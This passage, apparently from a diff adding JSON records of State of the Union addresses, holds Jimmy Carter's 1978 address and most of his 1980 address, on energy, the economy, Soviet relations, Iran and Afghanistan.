+    "speech": "Two years ago today we had the first caucus in Iowa, and one year ago\ntomorrow, I walked from here to the White House to take up the duties of\nPresident of the United States. I didn't know it then when I walked, but\nI've been trying to save energy ever since.I return tonight to fulfill one of those duties of the Constitution: to\ngive to the Congress, and to the Nation, information on the state of the\nUnion.Militarily, politically, economically, and in spirit, the state of our\nUnion is sound.We are a great country, a strong country, a vital and dynamic country, and\nso we will remain.We are a confident people and a hardworking people, a decent and a\ncompassionate people, and so we will remain.I want to speak to you tonight about where we are and where we must go,\nabout what we have done and what we must do. And I want to pledge to you my\nbest efforts and ask you to pledge yours.Each generation of Americans has to face circumstances not of its own\nchoosing, but by which its character is measured and its spirit is tested.There are times of emergency, when a nation and its leaders must bring\ntheir energies to bear on a single urgent task. That was the duty Abraham\nLincoln faced when our land was torn apart by conflict in the War Between\nthe States. That was the duty faced by Franklin Roosevelt when he led\nAmerica out of an economic depression and again when he led America to\nvictory in war.There are other times when there is no single overwhelming crisis, yet\nprofound national interests are at stake.At such times the risk of inaction can be equally great. It becomes the\ntask of leaders to call forth the vast and restless energies of our people\nto build for the future.That is what Harry Truman did in the years after the Second World War, when\nwe helped Europe and Japan rebuild themselves and secured an international\norder that has protected freedom from aggression.We live in such times now, and we face such duties.We've come through a long period of turmoil and doubt, but we've once again\nfound our moral course, and with a new spirit, we are striving to express\nour best instincts to the rest of the world.There is all across our land a growing sense of peace and a sense of common\npurpose. This sense of unity cannot be expressed in programs or in\nlegislation or in dollars. It's an achievement that belongs to every\nindividual American. This unity ties together, and it towers over all our\nefforts here in Washington, and it serves as an inspiring beacon for all of\nus who are elected to serve.This new atmosphere demands a new spirit, a partnership between those of us\nwho lead and those who elect. The foundations of this partnership are\ntruth, the courage to face hard decisions, concern for one another and the\ncommon good over special interests, and a basic faith and trust in the\nwisdom and strength and judgment of the American people.For the first time in a generation, we are not haunted by a major\ninternational crisis or by domestic turmoil, and we now have a rare and a\npriceless opportunity to address persistent problems and burdens which come\nto us as a nation, quietly and steadily getting worse over the years.As President, I've had to ask you, the Members of Congress, and you, the\nAmerican people, to come to grips with some of the most difficult and hard\nquestions facing our society.We must make a maximum effort, because if we do not aim for the best, we\nare very likely to achieve little. I see no benefit to the country if we\ndelay, because the problems will only get worse.We need patience and good will, but we really need to realize that there is\na limit to the role and the function of government. Government cannot solve\nour problems, it can't set our goals, it cannot define our vision.\nGovernment cannot eliminate poverty or provide a bountiful economy or\nreduce inflation or save our cities or cure illiteracy or provide energy.\nAnd government cannot mandate goodness. Only a true partnership between\ngovernment and the people can ever hope to reach these goals.Those of us who govern can sometimes inspire, and we can identify needs and\nmarshal resources, but we simply cannot be the managers of everything and\neverybody.We here in Washington must move away from crisis management, and we must\nestablish clear goals for the future, immediate and the distant future,\nwhich will let us work together and not in conflict. Never again should we\nneglect a growing crisis like the shortage of energy, where further delay\nwill only lead to more harsh and painful solutions.Every day we spend more than $120 million for foreign oil. This slows our\neconomic growth, it lowers the value of the dollar overseas, and it\naggravates unemployment and inflation here at home.Now we know what we must do, increase production. We must cut down on\nwaste. And we must use more of those fuels which are plentiful and more\npermanent. We must be fair to people, and we must not disrupt our Nation's\neconomy and our budget.Now, that sounds simple. But I recognize the difficulties involved. I know\nthat it is not easy for the Congress to act. But the fact remains that on\nthe energy legislation, we have failed the American people. Almost 5 years\nafter the oil embargo dramatized the problem for us all, we still do not\nhave a national energy program. Not much longer can we tolerate this\nstalemate. It undermines our national interest both at home and abroad. We\nmust succeed, and I believe we will.Our main task at home this year, with energy a central element, is the\nNation's economy. We must continue the recovery and further cut\nunemployment and inflation.Last year was a good one for the United States. We reached all of our major\neconomic goals for 1977. Four million new jobs were created, an alltime\nrecord, and the number of unemployed dropped by more than a million.\nUnemployment right now is the lowest it has been since 1974, and not since\nWorld War II has such a high percentage of American people been employed.The rate of inflation went down. There was a good growth in business\nprofits and investments, the source of more jobs for our workers, and a\nhigher standard of living for all our people. After taxes and inflation,\nthere was a healthy increase in workers' wages.And this year, our country will have the first $2 trillion economy in the\nhistory of the world.Now, we are proud of this progress the first year, but we must do even\nbetter in the future.We still have serious problems on which all of us must work together. Our\ntrade deficit is too large. Inflation is still too high, and too many\nAmericans still do not have a job.Now, I didn't have any simple answers for all these problems. But we have\ndeveloped an economic policy that is working, because it's simple,\nbalanced, and fair. It's based on four principles: First, the economy must\nkeep on expanding to produce new jobs and better income, which our people\nneed. The fruits of growth must be widely shared. More jobs must be made\navailable to those who have been bypassed until now. And the tax system\nmust be made fairer and simpler.Secondly, private business and not the Government must lead the expansion\nin the future.Third, we must lower the rate of inflation and keep it down. Inflation\nslows down economic growth, and it's the most cruel to the poor and also to\nthe elderly and others who live on fixed incomes.And fourth, we must contribute to the strength of the world economy.I will announce detailed proposals for improving our tax system later this\nweek. We can make our tax laws fairer, we can make them simpler and easier\nto understand, and at the same time, we can, and we will, reduce the tax\nburden on American citizens by $25 billion.The tax reforms and the tax reductions go together. Only with the long\noverdue reforms will the full tax cut be advisable.Almost $17 billion in income tax cuts will go to individuals. Ninety-six\npercent of all American taxpayers will see their taxes go down. For a\ntypical family of four, this means an annual saving of more than $250 a\nyear, or a tax reduction of about 20 percent. A further $2 billion cut in\nexcise taxes will give more relief and also contribute directly to lowering\nthe rate of inflation.And we will also provide strong additional incentives for business\ninvestment and growth through substantial cuts in the corporate tax rates\nand improvement in the investment tax credit.Now, these tax proposals will increase opportunity everywhere in the\nNation. But additional jobs for the disadvantaged deserve special\nattention.We've already passed laws to assure equal access to the voting booth and to\nrestaurants and to schools, to housing, and laws to permit access to jobs.\nBut job opportunity, the chance to earn a decent living, is also a basic\nhuman right, which we cannot and will not ignore.A major priority for our Nation is the final elimination of the barriers\nthat restrict the opportunities available to women and also to black people\nand Hispanics and other minorities. We've come a long way toward that goal.\nBut there is still much to do. What we inherited from the past must not be\npermitted to shackle us in the future.I'll be asking you for a substantial increase in funds for public jobs for\nour young people, and I also am recommending that the Congress continue the\npublic service employment programs at more than twice the level of a year\nago. When welfare reform is completed, we will have more than a million\nadditional jobs so that those on welfare who are able to work can work.However, again, we know that in our free society, private business is still\nthe best source of new jobs. Therefore, I will propose a new program to\nencourage businesses to hire young and disadvantaged Americans. These young\npeople only need skills and a chance in order to take their place in our\neconomic system. Let's give them the chance they need. A major step in the\nright direction would be the early passage of a greatly improved\nHumphrey-Hawkins bill.My budget for 1979 addresses these national needs, but it is lean and\ntight. I have cut waste wherever possible.I am proposing an increase of less than 2 percent after adjusting for\ninflation, the smallest increase in the Federal budget in 4 years.Lately, Federal spending has taken a steadily increasing portion of what\nAmericans produce. Our new budget reverses that trend, and later I hope to\nbring the Government's toll down even further. And with your help, we'll do\nthat.In time of high employment and a strong economy, deficit spending should\nnot be a feature of our budget. As the economy continues to gain strength\nand as our unemployment rates continue to fall, revenues will grow. With\ncareful planning, efficient management, and proper restraint on spending,\nwe can move rapidly toward a balanced budget, and we will.Next year the budget deficit will be only slightly less than this year. But\none-third of the deficit is due to the necessary tax cuts that I've\nproposed. This year the right choice is to reduce the burden on taxpayers\nand provide more jobs for our people.The third element in our program is a renewed attack on inflation. We've\nlearned the hard way that high unemployment will not prevent or cure\ninflation. Government can help us by stimulating private investment and by\nmaintaining a responsible economic policy. Through a new top-level review\nprocess, we will do a better job of reducing Government regulation that\ndrives up costs and drives up prices.But again, Government alone cannot bring down the rate of inflation. When a\nlevel of high inflation is expected to continue, then companies raise\nprices to protect their profit margins against prospective increases in\nwages and other costs, while workers demand higher wages as protection\nagainst expected price increases. It's like an escalation in the arms race,\nand understandably, no one wants to disarm alone.Now, no one firm or a group of workers can halt this process. It's an\neffort that we must all make together. I'm therefore asking government,\nbusiness, labor, and other groups to join in a voluntary program to\nmoderate inflation by holding wage and price increases in each sector of\nthe economy during 1978 below the average increases of the last 2 years.I do not believe in wage and price controls. A sincere commitment to\nvoluntary constraint provides a way, perhaps the only way, to fight\ninflation without Government interference.As I came into the Capitol tonight, I saw the farmers, my fellow farmers,\nstanding out in the snow. I'm familiar with their problem, and I know from\nCongress' action that you are too. When I was running Carters Warehouse, we\nhad spread on our own farms 5-10-15 fertilizer for about $40 a ton. The\nlast time I was home, the price was about $100 a ton. The cost of nitrogen\nhas gone up 150 percent, and the price of products that farmers sell has\neither stayed the same or gone down a little.Now, this past year in 1977, you, the Congress, and I together passed a new\nagricultural act. It went into effect October 1. It'll have its first\nimpact on the 1978 crops. It will help a great deal. It'll add $6 1/2\nbillion or more to help the farmers with their price supports and target\nprices.Last year we had the highest level of exports of farm products in the\nhistory of our country, $24 billion. We expect to have more this year.\nWe'll be working together. But I think it's incumbent on us to monitor very\ncarefully the farm situation and continue to work harmoniously with the\nfarmers of our country. What's best for the farmers, the farm families, in\nthe long run is also best for the consumers of our country.Economic success at home is also the key to success in our international\neconomic policy. An effective energy program, strong investment and\nproductivity, and controlled inflation will provide [improve] our trade\nbalance and balance it, and it will help to protect the integrity of the\ndollar overseas.By working closely with our friends abroad, we can promote the economic\nhealth of the whole world, with fair and balanced agreements lowering the\nbarriers to trade.Despite the inevitable pressures that build up when the world economy\nsuffers from high unemployment, we must firmly resist the demands for\nself-defeating protectionism. But free trade must also be fair trade. And I\nam determined to protect American industry and American workers against\nforeign trade practices which are unfair or illegal.In a separate written message to Congress, I've outlined other domestic\ninitiatives, such as welfare reform, consumer protection, basic education\nskills, urban policy, reform of our labor laws, and national health care\nlater on this year. I will not repeat these tonight. But there are several\nother points that I would like to make directly to you.During these past years, Americans have seen our Government grow far from\nus.For some citizens, the Government has almost become like a foreign country,\nso strange and distant that we've often had to deal with it through trained\nambassadors who have sometimes become too powerful and too influential,\nlawyers, accountants, and lobbyists. This cannot go on.We must have what Abraham Lincoln wanted, a government for the people.We've made progress toward that kind of government. You've given me the\nauthority I requested to reorganize the Federal bureaucracy. And I am using\nthat authority.We've already begun a series of reorganization plans which will be\ncompleted over a period of 3 years. We have also proposed abolishing almost\n500 Federal advisory and other commissions and boards. But I know that the\nAmerican people are still sick and tired of Federal paperwork and redtape.\nBit by bit we are chopping down the thicket of unnecessary Federal\nregulations by which Government too often interferes in our personal lives\nand our personal business. We've cut the public's Federal paperwork load by\nmore than 12 percent in less than a year. And we are not through cutting.We've made a good start on turning the gobbledygook of Federal regulations\ninto plain English that people can understand. But we know that we still\nhave a long way to go.We've brought together parts of 11 Government agencies to create a new\nDepartment of Energy. And now it's time to take another major step by\ncreating a separate Department of Education.But even the best organized Government will only be as effective as the\npeople who carry out its policies. For this reason, I consider civil\nservice reform to be absolutely vital. Worked out with the civil servants\nthemselves, this reorganization plan will restore the merit principle to a\nsystem which has grown into a bureaucratic maze. It will provide greater\nmanagement flexibility and better rewards for better performance without\ncompromising job security.Then and only then can we have a government that is efficient, open, and\ntruly worthy of our people's understanding and respect. I have promised\nthat we will have such a government, and I intend to keep that promise.In our foreign policy, the separation of people from government has been in\nthe past a source of weakness and error. In a democratic system like ours,\nforeign policy decisions must be able to stand the test of public\nexamination and public debate. If we make a mistake in this administration,\nit will be on the side of frankness and openness with the American people.In our modern world, when the deaths of literally millions of people can\nresult from a few terrifying seconds of destruction, the path of national\nstrength and security is identical to the path of peace.Tonight, I am happy to report that because we are strong, our Nation is at\npeace with the world.We are a confident nation. We've restored a moral basis for our foreign\npolicy. The very heart of our identity as a nation is our firm commitment\nto human rights.We stand for human rights because we believe that government has as a\npurpose to promote the well-being of its citizens. This is true in our\ndomestic policy; it's also true in our foreign policy. The world must know\nthat in support of human rights, the United States will stand firm.We expect no quick or easy results, but there has been significant movement\ntoward greater freedom and humanity in several parts of the world.Thousands of political prisoners have been freed. The leaders of the world,\neven our ideological adversaries, now see that their attitude toward\nfundamental human rights affects their standing in the international\ncommunity, and it affects their relations with the United States.To serve the interests of every American, our foreign policy has three\nmajor goals.The first and prime concern is and will remain the security of our\ncountry.Security is based on our national will, and security is based on the\nstrength of our Armed Forces. We have the will, and militarily we are very\nstrong.Security also comes through the strength of our alliances. We have\nreconfirmed our commitment to the defense of Europe, and this year we will\ndemonstrate that commitment by further modernizing and strengthening our\nmilitary capabilities there.Security can also be enhanced by agreements with potential adversaries\nwhich reduce the threat of nuclear disaster while maintaining our own\nrelative strategic capability.In areas of peaceful competition with the Soviet Union, we will continue to\nmore than hold our own.At the same time, we are negotiating with quiet confidence, without haste,\nwith careful determination, to ease the tensions between us and to ensure\ngreater stability and security.The strategic arms limitation talks have been long and difficult. We want a\nmutual limit on both the quality and the quantity of the giant nuclear\narsenals of both nations, and then we want actual reductions in strategic\narms as a major step toward the ultimate elimination of nuclear weapons\nfrom the face of the Earth.If these talks result in an agreement this year, and I trust they will, I\npledge to you that the agreement will maintain and enhance the stability of\nthe world's strategic balance and the security of the United States.For 30 years, concerted but unsuccessful efforts have been made to ban the\ntesting of atomic explosives, both military weapons and peaceful nuclear\ndevices.We are hard at work with Great Britain and the Soviet Union on an agreement\nwhich will stop testing and will protect our national security and provide\nfor adequate verification of compliance. We are now making, I believe, good\nprogress toward this comprehensive ban on nuclear explosions.We are also working vigorously to halt the proliferation of nuclear weapons\namong the nations of the world which do not now have them and to reduce the\ndeadly global traffic in conventional arms sales. Our stand for peace is\nsuspect if we are also the principal arms merchant of the world. So, we've\ndecided to cut down our arms transfers abroad on a year-by-year basis and\nto work with other major arms exporters to encourage their similar\nconstraint.Every American has a stake in our second major goal, a world at peace. In a\nnuclear age, each of us is threatened when peace is not secured everywhere.\nWe are trying to promote harmony in those parts of the world where major\ndifferences exist among other nations and threaten international peace.In the Middle East, we are contributing our good offices to maintain the\nmomentum of the current negotiations and to keep open the lines of\ncommunication among the Middle Eastern leaders. The whole world has a great\nstake in the success of these efforts. This is a precious opportunity for a\nhistoric settlement of a longstanding conflict, an opportunity which may\nnever come again in our lifetime.Our role has been difficult and sometimes thankless and controversial. But\nit has been constructive and it has been necessary, and it will continue.Our third major foreign policy goal is one that touches the life of every\nAmerican citizen every day, world economic growth and stability.This requires strong economic performance by the industrialized democracies\nlike ourselves and progress in resolving the global energy crisis. Last\nfall, with the help of others, we succeeded in our vigorous efforts to\nmaintain the stability of the price of oil. But as many foreign leaders\nhave emphasized to me personally and, I am sure, to you, the greatest\nfuture contribution that America can make to the world economy would be an\neffective energy conservation program here at home. We will not hesitate to\ntake the actions needed to protect the integrity of the American dollar.We are trying to develop a more just international system. And in this\nspirit, we are supporting the struggle for human development in Africa, in\nAsia, and in Latin America.Finally, the world is watching to see how we act on one of our most\nimportant and controversial items of business, approval of the Panama Canal\ntreaties. The treaties now before the Senate are the result of the work of\nfour administrations, two Democratic, two Republican.They guarantee that the canal will be open always for unrestricted use by\nthe ships of the world. Our ships have the right to go to the head of the\nline for priority of passage in times of emergency or need. We retain the\npermanent right to defend the canal with our own military forces, if\nnecessary, to guarantee its openness and its neutrality.The treaties are to the clear advantage of ourselves, the Panamanians, and\nthe other users of the canal. Ratifying the Panama Canal treaties will\ndemonstrate our good faith to the world, discourage the spread of hostile\nideologies in this hemisphere, and directly contribute to the economic\nwell-being and the security of the United States.I have to say that that's very welcome applause.There were two moments on my recent journey which, for me, confirmed the\nfinal aims of our foreign policy and what it always must be.One was in a little village in India, where I met a people as passionately\nattached to their rights and liberties as we are, but whose children have a\nfar smaller chance for good health or food or education or human\nfulfillment than a child born in this country.The other moment was in Warsaw, capital of a nation twice devastated by war\nin this century. There, people have rebuilt the city which war's\ndestruction took from them. But what was new only emphasized clearly what\nwas lost.What I saw in those two places crystalized for me the purposes of our own\nNation's policy: to ensure economic justice, to advance human rights, to\nresolve conflicts without violence, and to proclaim in our great democracy\nour constant faith in the liberty and dignity of human beings everywhere.We Americans have a great deal of work to do together. In the end, how well\nwe do that work will depend on the spirit in which we approach it. We must\nseek fresh answers, unhindered by the stale prescriptions of the past.It has been said that our best years are behind us. But I say again that\nAmerica's best is still ahead. We have emerged from bitter experiences\nchastened but proud, confident once again, ready to face challenges once\nagain, and united once again.We come together tonight at a solemn time. Last week the Senate lost a good\nand honest man, Lee Metcalf of Montana.And today, the flag of the United States flew at half-mast from this\nCapitol and from American installations and ships all over the world, in\nmourning for Senator Hubert Humphrey.Because he exemplified so well the joy and the zest of living, his death\nreminds us not so much of our own mortality, but of the possibilities\noffered to us by life. He always looked to the future with a special\nAmerican kind of confidence, of hope and enthusiasm. And the best way that\nwe can honor him is by following his example.Our task, to use the words of Senator Humphrey, is \"reconciliation,\nrebuilding, and rebirth.\"Reconciliation of private needs and interests into a higher purpose.Rebuilding the old dreams of justice and liberty, and country and\ncommunity.Rebirth of our faith in the common good.Each of us here tonight, and all who are listening in your homes, must\nrededicate ourselves to serving the common good. We are a community, a\nbeloved community, all of us. Our individual fates are linked, our futures\nintertwined. And if we act in that knowledge and in that spirit, together,\nas the Bible says, we can move mountains.Thank you very much.", 
+    "name": "Jimmy Carter"
+}
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+{
+    "date": "January 21, 1980", 
+    "speech": "This last few months has not been an easy time for any of us. As we meet\ntonight, it has never been more clear that the state of our Union depends\non the state of the world. And tonight, as throughout our own generation,\nfreedom and peace in the world depend on the state of our Union.The 1980's have been born in turmoil, strife, and change. This is a time of\nchallenge to our interests and our values and it's a time that tests our\nwisdom and our skills.At this time in Iran, 50 Americans are still held captive, innocent victims\nof terrorism and anarchy. Also at this moment, massive Soviet troops are\nattempting to subjugate the fiercely independent and deeply religious\npeople of Afghanistan. These two acts--one of international terrorism and\none of military aggression--present a serious challenge to the United\nStates of America and indeed to all the nations of the world. Together, we\nwill meet these threats to peace.I'm determined that the United States will remain the strongest of all\nnations, but our power will never be used to initiate a threat to the\nsecurity of any nation or to the rights of any human being. We seek to be\nand to remain secure--a nation at peace in a stable world. But to be secure\nwe must face the world as it is.Three basic developments have helped to shape our challenges: the steady\ngrowth and increased projection of Soviet military power beyond its own\nborders; the overwhelming dependence of the Western democracies on oil\nsupplies from the Middle East; and the press of social and religious and\neconomic and political change in the many nations of the developing world,\nexemplified by the revolution in Iran.Each of these factors is important in its own right. Each interacts with\nthe others. All must be faced together, squarely and courageously. We will\nface these challenges, and we will meet them with the best that is in us.\nAnd we will not fail.In response to the abhorrent act in Iran, our Nation has never been aroused\nand unified so greatly in peacetime. Our position is clear. The United\nStates will not yield to blackmail.We continue to pursue these specific goals: first, to protect the present\nand long-range interests of the United States; secondly, to preserve the\nlives of the American hostages and to secure, as quickly as possible, their\nsafe release, if possible, to avoid bloodshed which might further endanger\nthe lives of our fellow citizens; to enlist the help of other nations in\ncondemning this act of violence, which is shocking and violates the moral\nand the legal standards of a civilized world; and also to convince and to\npersuade the Iranian leaders that the real danger to their nation lies in\nthe north, in the Soviet Union and from the Soviet troops now in\nAfghanistan, and that the unwarranted Iranian quarrel with the United\nStates hampers their response to this far greater danger to them.If the American hostages are harmed, a severe price will be paid. We will\nnever rest until every one of the American hostages are released.But now we face a broader and more fundamental challenge in this region\nbecause of the recent military action of the Soviet Union.Now, as during the last 3 1/2 decades, the relationship between our\ncountry, the United States of America, and the Soviet Union is the most\ncritical factor in determining whether the world will live at peace or be\nengulfed in global conflict.Since the end of the Second World War, America has led other nations in\nmeeting the challenge of mounting Soviet power. This has not been a simple\nor a static relationship. Between us there has been cooperation, there has\nbeen competition, and at times there has been confrontation.In the 1940's we took the lead in creating the Atlantic Alliance in\nresponse to the Soviet Union's suppression and then consolidation of its\nEast European empire and the resulting threat of the Warsaw Pact to Western\nEurope.In the 1950's we helped to contain further Soviet challenges in Korea and\nin the Middle East, and we rearmed to assure the continuation of that\ncontainment.In the 1960's we met the Soviet challenges in Berlin, and we faced the\nCuban missile crisis. And we sought to engage the Soviet Union in the\nimportant task of moving beyond the cold war and away from confrontation.And in the 1970's three American Presidents negotiated with the Soviet\nleaders in attempts to halt the growth of the nuclear arms race. We sought\nto establish rules of behavior that would reduce the risks of conflict, and\nwe searched for areas of cooperation that could make our relations\nreciprocal and productive, not only for the sake of our two nations but for\nthe security and peace of the entire world.In all these actions, we have maintained two commitments: to be ready to\nmeet any challenge by Soviet military power, and to develop ways to resolve\ndisputes and to keep the peace.Preventing nuclear war is the foremost responsibility of the two\nsuperpowers. That's why we've negotiated the strategic arms limitation\ntreaties--SALT I and SALT II. Especially now, in a time of great tension,\nobserving the mutual constraints imposed by the terms of these treaties\nwill be in the best interest of both countries and will help to preserve\nworld peace. I will consult very closely with the Congress on this matter\nas we strive to control nuclear weapons. That effort to control nuclear\nweapons will not be abandoned.We superpowers also have the responsibility to exercise restraint in the\nuse of our great military force. The integrity and the independence of\nweaker nations must not be threatened. They must know that in our presence\nthey are secure.But now the Soviet Union has taken a radical and an aggressive new step.\nIt's using its great military power against a relatively defenseless\nnation. The implications of the Soviet invasion of Afghanistan could pose\nthe most serious threat to the peace since the Second World War.The vast majority of nations on Earth have condemned this latest Soviet\nattempt to extend its colonial domination of others and have demanded the\nimmediate withdrawal of Soviet troops. The Moslem world is especially and\njustifiably outraged by this aggression against an Islamic people. No\naction of a world power has ever been so quickly and so overwhelmingly\ncondemned. But verbal condemnation is not enough. The Soviet Union must pay\na concrete price for their aggression.While this invasion continues, we and the other nations of the world cannot\nconduct business as usual with the Soviet Union. That's why the United\nStates has imposed stiff economic penalties on the Soviet Union. I will not\nissue any permits for Soviet ships to fish in the coastal waters of the\nUnited States. I've cut Soviet access to high-technology equipment and to\nagricultural products. I've limited other commerce with the Soviet Union,\nand I've asked our allies and friends to join with us in restraining their\nown trade with the Soviets and not to replace our own embargoed items. And\nI have notified the Olympic Committee that with Soviet invading forces in\nAfghanistan, neither the American people nor I will support sending an\nOlympic team to Moscow.The Soviet Union is going to have to answer some basic questions: Will it\nhelp promote a more stable international environment in which its own\nlegitimate, peaceful concerns can be pursued? Or will it continue to expand\nits military power far beyond its genuine security needs, and use that\npower for colonial conquest? The Soviet Union must realize that its\ndecision to use military force in Afghanistan will be costly to every\npolitical and economic relationship it values.The region which is now threatened by Soviet troops in Afghanistan is of\ngreat strategic importance: It contains more than two-thirds of the world's\nexportable oil. The Soviet effort to dominate Afghanistan has brought\nSoviet military forces to within 300 miles of the Indian Ocean and close to\nthe Straits of Hormuz, a waterway through which most of the world's oil\nmust flow. The Soviet Union is now attempting to consolidate a strategic\nposition, therefore, that poses a grave threat to the free movement of\nMiddle East oil.This situation demands careful thought, steady nerves, and resolute action,\nnot only for this year but for many years to come. It demands collective\nefforts to meet this new threat to security in the Persian Gulf and in\nSouthwest Asia. It demands the participation of all those who rely on oil\nfrom the Middle East and who are concerned with global peace and stability.\nAnd it demands consultation and close cooperation with countries in the\narea which might be threatened.Meeting this challenge will take national will, diplomatic and political\nwisdom, economic sacrifice, and, of course, military capability. We must\ncall on the best that is in us to preserve the security of this crucial\nregion.Let our position be absolutely clear: An attempt by any outside force to\ngain control of the Persian Gulf region will be regarded as an assault on\nthe vital interests of the United States of America, and such an assault\nwill be repelled by any means necessary, including military force.During the past 3 years, you have joined with me to improve our own\nsecurity and the prospects for peace, not only in the vital oil-producing\narea of the Persian Gulf region but around the world. We've increased\nannually our real commitment for defense, and we will sustain this increase\nof effort throughout the Five Year Defense Program. It's imperative that\nCongress approve this strong defense budget for 1981, encompassing a\n5-percent real growth in authorizations, without any reduction.We are also improving our capability to deploy U.S. military forces rapidly\nto distant areas. We've helped to strengthen NATO and our other alliances,\nand recently we and other NATO members have decided to develop and to\ndeploy modernized, intermediate-range nuclear forces to meet an unwarranted\nand increased threat from the nuclear weapons of the Soviet Union.We are working with our allies to prevent conflict in the Middle East. The\npeace treaty between Egypt and Israel is a notable achievement which\nrepresents a strategic asset for America and which also enhances prospects\nfor regional and world peace. We are now engaged in further negotiations to\nprovide full autonomy for the people of the West Bank and Gaza, to resolve\nthe Palestinian issue in all its aspects, and to preserve the peace and\nsecurity of Israel. Let no one doubt our commitment to the security of\nIsrael. In a few days we will observe an historic event when Israel makes\nanother major withdrawal from the Sinai and when Ambassadors will be\nexchanged between Israel and Egypt.We've also expanded our own sphere of friendship. Our deep commitment to\nhuman rights and to meeting human needs has improved our relationship with\nmuch of the Third World. Our decision to normalize relations with the\nPeople's Republic of China will help to preserve peace and stability in\nAsia and in the Western Pacific.We've increased and strengthened our naval presence in the Indian Ocean,\nand we are now making arrangements for key naval and air facilities to be\nused by our forces in the region of northeast Africa and the Persian Gulf.We've reconfirmed our 1959 agreement to help Pakistan preserve its\nindependence and its integrity. The United States will take action\nconsistent with our own laws to assist Pakistan in resisting any outside\naggression. And I'm asking the Congress specifically to reaffirm this\nagreement. I'm also working, along with the leaders of other nations, to\nprovide additional military and economic aid for Pakistan. That request\nwill come to you in just a few days.Finally, we are prepared to work with other countries in the region to\nshare a cooperative security framework that respects differing values and\npolitical beliefs, yet which enhances the independence, security, and\nprosperity of all.All these efforts combined emphasize our dedication to defend and preserve\nthe vital interests of the region and of the nation which we represent and\nthose of our allies--in Europe and the Pacific, and also in the parts of\nthe world which have such great strategic importance to us, stretching\nespecially through the Middle East and Southwest Asia. With your help, I\nwill pursue these efforts with vigor and with determination. You and I will\nact as necessary to protect and to preserve our Nation's security.The men and women of America's Armed Forces are on duty tonight in many\nparts of the world. I'm proud of the job they are doing, and I know you\nshare that pride. I believe that our volunteer forces are adequate for\ncurrent defense needs, and I hope that it will not become necessary to\nimpose a draft. However, we must be prepared for that possibility. For this\nreason, I have determined that the Selective Service System must now be\nrevitalized. I will send legislation and budget proposals to the Congress\nnext month so that we can begin registration and then meet future\nmobilization needs rapidly if they arise.We also need clear and quick passage of a new charter to define the legal\nauthority and accountability of our intelligence agencies. We will\nguarantee that abuses do not recur, but we must tighten our controls on\nsensitive intelligence information, and we need to remove unwarranted\nrestraints on America's ability to collect intelligence.The decade ahead will be a time of rapid change, as nations everywhere seek\nto deal with new problems and age-old tensions. But America need have no\nfear. We can thrive in a world of change if we remain true to our values\nand actively engaged in promoting world peace. We will continue to work as\nwe have for peace in the Middle East and southern Africa. We will continue\nto build our ties with developing nations, respecting and helping to\nstrengthen their national independence which they have struggled so hard to\nachieve. And we will continue to support the growth of democracy and the\nprotection of human rights.In repressive regimes, popular frustrations often have no outlet except\nthrough violence. But when peoples and their governments can approach their\nproblems together through open, democratic methods, the basis for stability\nand peace is far more solid and far more enduring. That is why our support\nfor human rights in other countries is in our own national interest as well\nas part of our own national character.Peace--a peace that preserves freedom--remains America's first goal. In the\ncoming years, as a mighty nation we will continue to pursue peace. But to\nbe strong abroad we must be strong at home. And in order to be strong, we\nmust continue to face up to the difficult issues that confront us as a\nnation today.The crises in Iran and Afghanistan have dramatized a very important lesson:\nOur excessive dependence on foreign oil is a clear and present danger to\nour Nation's security. The need has never been more urgent. At long last,\nwe must have a clear, comprehensive energy policy for the United States.As you well know, I have been working with the Congress in a concentrated\nand persistent way over the past 3 years to meet this need. We have made\nprogress together. But Congress must act promptly now to complete final\naction on this vital energy legislation. Our Nation will then have a major\nconservation effort, important initiatives to develop solar power,\nrealistic pricing based on the true value of oil, strong incentives for the\nproduction of coal and other fossil fuels in the United States, and our\nNation's most massive peacetime investment in the development of synthetic\nfuels.The American people are making progress in energy conservation. Last year\nwe reduced overall petroleum consumption by 8 percent and gasoline\nconsumption by 5 percent below what it was the year before. Now we must do\nmore.After consultation with the Governors, we will set gasoline conservation\ngoals for each of the 50 States, and I will make them mandatory if these\ngoals are not met.I've established an import ceiling for 1980 of 8.2 million barrels a\nday--well below the level of foreign oil purchases in 1977. I expect our\nimports to be much lower than this, but the ceiling will be enforced by an\noil import fee if necessary. I'm prepared to lower these imports still\nfurther if the other oil-consuming countries will join us in a fair and\nmutual reduction. If we have a serious shortage, I will not hesitate to\nimpose mandatory gasoline rationing immediately.The single biggest factor in the inflation rate last year, the increase in\nthe inflation rate last year, was from one cause: the skyrocketing prices\nof OPEC oil. We must take whatever actions are necessary to reduce our\ndependence on foreign oil--and at the same time reduce inflation.As individuals and as families, few of us can produce energy by ourselves.\nBut all of us can conserve energy--every one of us, every day of our lives.\nTonight I call on you--in fact, all the people of America--to help our\nNation. Conserve energy. Eliminate waste. Make 1980 indeed a year of energy\nconservation.Of course, we must take other actions to strengthen our Nation's economy.First, we will continue to reduce the deficit and then to balance the\nFederal budget.Second, as we continue to work with business to hold down prices, we'll\nbuild also on the historic national accord with organized labor to restrain\npay increases in a fair fight against inflation.Third, we will continue our successful efforts to cut paperwork and to\ndismantle unnecessary Government regulation.Fourth, we will continue our progress in providing jobs for America,\nconcentrating on a major new program to provide training and work for our\nyoung people, especially minority youth. It has been said that \"a mind is a\nterrible thing to waste.\" We will give our young people new hope for jobs\nand a better life in the 1980's.And fifth, we must use the decade of the 1980's to attack the basic\nstructural weaknesses and problems in our economy through measures to\nincrease productivity, savings, and investment.With these energy and economic policies, we will make America even stronger\nat home in this decade--just as our foreign and defense policies will make\nus stronger and safer throughout the world. We will never abandon our\nstruggle for a just and a decent society here at home. That's the heart of\nAmerica--and it's the source of our ability to inspire other people to\ndefend their own rights abroad.Our material resources, great as they are, are limited. Our problems are\ntoo complex for simple slogans or for quick solutions. We cannot solve them\nwithout effort and sacrifice. Walter Lippmann once reminded us, \"You took\nthe good things for granted. Now you must earn them again. For every right\nthat you cherish, you have a duty which you must fulfill. For every good\nwhich you wish to preserve, you will have to sacrifice your comfort and\nyour ease. There is nothing for nothing any longer.\"Our challenges are formidable. But there's a new spirit of unity and\nresolve in our country. We move into the 1980's with confidence and hope\nand a bright vision of the America we want: an America strong and free, an\nAmerica at peace, an America with equal rights for all citizens--and for\nwomen, guaranteed in the United States Constitution--an America with jobs\nand good health and good education for every citizen, an America with a\nclean and bountiful life in our cities and on our farms, an America that\nhelps to feed the world, an America secure in filling its own energy needs,\nan America of justice, tolerance, and compassion. For this vision to come\ntrue, we must sacrifice, but this national commitment will be an exciting\nenterprise that will unify our people.Together as one people, let us work to build our strength at home, and\ntogether as one indivisible union, let us seek peace and security\nthroughout the 